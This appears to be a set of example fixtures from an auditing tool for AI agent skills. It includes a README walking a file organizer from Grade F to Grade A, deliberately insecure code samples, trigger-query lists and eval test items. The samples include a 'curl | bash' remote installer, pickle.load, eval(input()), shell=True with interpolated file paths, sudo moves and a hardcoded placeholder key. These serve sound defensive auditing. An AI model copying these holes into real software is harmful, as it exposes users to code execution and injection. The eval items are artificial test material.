result = subprocess.run(f"find {directory} -type f", shell=True, capture_output=True)
files = result.stdout.decode().split("\n")
for f in files:
if not f:
continue
ext = os.path.splitext(f)[1].lower()
target = os.path.join(directory, ext.strip(".") or "misc")
os.makedirs(target, exist_ok=True)
subprocess.run(f"mv '{f}' '{target}/'", shell=True)
return len(files)
if __name__ == "__main__":
import sys
organize(sys.argv[1] if len(sys.argv) > 1 else ".")
From Grade F to Grade A: A Lifecycle Walkthrough
This example contains three versions of the same skill — a file organizer — showing how it improves from a failing Grade F to a clean Grade A. Each version is a runnable skill directory you can audit yourself.
The Three Stages
before/ → 0/100 (Grade F) — Secrets, unsafe installs, over-permissions
v2/ → 76/100 (Grade C) — Security fixed, structure still needs work
after/ → 98/100 (Grade A) — Clean, minimal, well-documentedTry It Yourself
# Audit each stage
skill-eval audit examples/f-to-a-improvement/before
skill-eval audit examples/f-to-a-improvement/v2
skill-eval audit examples/f-to-a-improvement/after
# Track changes with lifecycle
skill-eval lifecycle examples/f-to-a-improvement/before
skill-eval lifecycle examples/f-to-a-improvement/after
# Compare before vs after
skill-eval compare examples/f-to-a-improvement/before examples/f-to-a-improvement/afterWhat Changed at Each Stage
before/ → v2/ (F → C)
| What Was Fixed | Finding | Impact |
|---|---|---|
| Removed hardcoded API key and password | SEC-001 | -25 each |
| Removed `curl \ | bash` install | SEC-004 |
Removed pickle.load() | SEC-006 | -25 |
| Added proper frontmatter (name, description) | STR-* | -10 each |
Still remaining in v2:
- Description too short (STR-011, warning)
- Over-broad permissions:
Read(*),Write(*),Bash(command)(SEC-005, warning) - Unpinned
pip install watchdog(info)
v2/ → after/ (C → A)
| What Was Fixed | Finding | Impact |
|---|---|---|
| Expanded description with use-cases | STR-011 | -10 |
| Scoped permissions to target directory only | SEC-005 | -10 |
| Removed unpinned pip install | SEC-004 | info |
Added --undo support and move logging | — | quality |
Key Lessons
1. Secrets are the #1 killer. Four criticals from hardcoded credentials alone bottomed the score. 2. Permissions matter. Bash(*) and Read(*) are warnings — scope them to what's needed. 3. Description is not decoration. A one-word description triggers STR-011 and costs 10 points. 4. You don't need perfection. 98/A still has 1 info finding (name vs directory mismatch). That's fine.
Using This as a Golden Test
The test_golden_dataset.py test file verifies these scores don't drift:
# before/ should be Grade F (score < 60)
# v2/ should be Grade C (score 70-79)
# after/ should be Grade A (score >= 90)If a code change shifts these scores, the golden test catches it.
#!/usr/bin/env python3
"""File organizer — sorts files by extension."""
import os
import json
import subprocess
import sys
def load_config(config_path="config.json"):
"""Load organization rules from config file."""
if os.path.exists(config_path):
with open(config_path) as f:
return json.load(f)
return {}
def organize(directory, dry_run=False):
"""Organize files in directory by extension."""
if not os.path.isdir(directory):
print(f"Error: {directory} is not a valid directory")
return 1
# Use subprocess to list files (works cross-platform)
result = subprocess.run(
["find", directory, "-maxdepth", "1", "-type", "f"],
capture_output=True, text=True
)
files = [f for f in result.stdout.strip().split("\n") if f]
moved = 0
for filepath in files:
ext = os.path.splitext(filepath)[1].lower().strip(".")
if not ext:
ext = "misc"
target_dir = os.path.join(directory, ext)
if dry_run:
print(f"Would move: {filepath} -> {target_dir}/")
else:
os.makedirs(target_dir, exist_ok=True)
os.rename(filepath, os.path.join(target_dir, os.path.basename(filepath)))
moved += 1
print(f"{'Would move' if dry_run else 'Moved'} {moved} files")
return 0
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description="Organize files by extension")
parser.add_argument("directory", help="Directory to organize")
parser.add_argument("--dry-run", action="store_true", help="Preview without moving")
args = parser.parse_args()
sys.exit(organize(args.directory, args.dry_run))
import pickle
import subprocess
import os
def install_tool(tool_name):
"""Install a tool by name."""
# Download and run installer
subprocess.run(
f"curl -fsSL https://install.example.com/{tool_name}.sh | bash",
shell=True,
)
def load_cache():
"""Load cached tool configurations."""
cache_path = os.path.expanduser("~/.dev-installer/cache.pkl")
if os.path.exists(cache_path):
with open(cache_path, "rb") as f:
return pickle.load(f)
return {}
def save_cache(config):
"""Save tool configurations to cache."""
cache_path = os.path.expanduser("~/.dev-installer/cache.pkl")
os.makedirs(os.path.dirname(cache_path), exist_ok=True)
with open(cache_path, "wb") as f:
pickle.dump(config, f)
#!/bin/bash
# Organize files by type
FILE="$1"
EXT="${FILE##*.}"
case "$EXT" in
jpg|jpeg|png|gif)
sudo mv "$FILE" /home/organized/photos/
;;
pdf|doc|docx|txt)
sudo mv "$FILE" /home/organized/documents/
;;
mp4|avi|mkv)
sudo mv "$FILE" /home/organized/videos/
;;
*)
sudo mv "$FILE" /home/organized/other/
;;
esac
# This does something
import os
os.system("echo hello")
result = eval(input("what do you want? "))
print(result)
[
{"query": "What's the weather like in Sydney today?", "should_trigger": true},
{"query": "Is it going to rain tomorrow in London?", "should_trigger": true},
{"query": "Get me the current temperature for Tokyo", "should_trigger": true},
{"query": "Write a Python function to sort a list", "should_trigger": false},
{"query": "Help me debug this React component", "should_trigger": false},
{"query": "Summarize this PDF document for me", "should_trigger": false}
]
[
{
"id": "weather-basic",
"prompt": "Use this weather skill to get the weather for New York City.",
"expected_output": "The skill should attempt to fetch weather data for New York City.",
"files": [],
"assertions": [
"contains 'New York' or contains 'new york' or contains 'NYC'",
"contains 'weather' or contains 'temperature' or contains 'forecast'"
]
},
{
"id": "weather-api-key-concern",
"prompt": "Look at this weather skill. Is it safe to use? Check the SKILL.md for any security concerns.",
"expected_output": "The SKILL.md contains a hardcoded API key (sk-test-weather-...) which is a security risk.",
"files": [],
"assertions": [
"contains 'API' or contains 'key' or contains 'secret'",
"contains 'security' or contains 'risk' or contains 'hardcoded' or contains 'exposed'"
]
}
]
import requests
import os
# Hardcoded for convenience
API_KEY = "wtr_live_0000000000000000000000000000000000000000"
def get_weather(city):
url = f"https://api.openweathermap.org/data/2.5/weather?q={city}&appid={API_KEY}"
resp = requests.get(url)
return resp.json()
if __name__ == "__main__":
import sys
city = sys.argv[1] if len(sys.argv) > 1 else "London"
print(get_weather(city))
[
{"query": "Check if this PR title follows our naming convention", "should_trigger": true},
{"query": "Is this branch name correct: platform/TEAM-42-add-auth", "should_trigger": true},
{"query": "What's the PR naming format we use?", "should_trigger": true},
{"query": "Fix my PR title to follow the convention", "should_trigger": true},
{"query": "Write me a Python function to sort a list", "should_trigger": false},
{"query": "What's the weather in Sydney?", "should_trigger": false},
{"query": "Help me debug this React component", "should_trigger": false},
{"query": "Deploy my application to production", "should_trigger": false}
]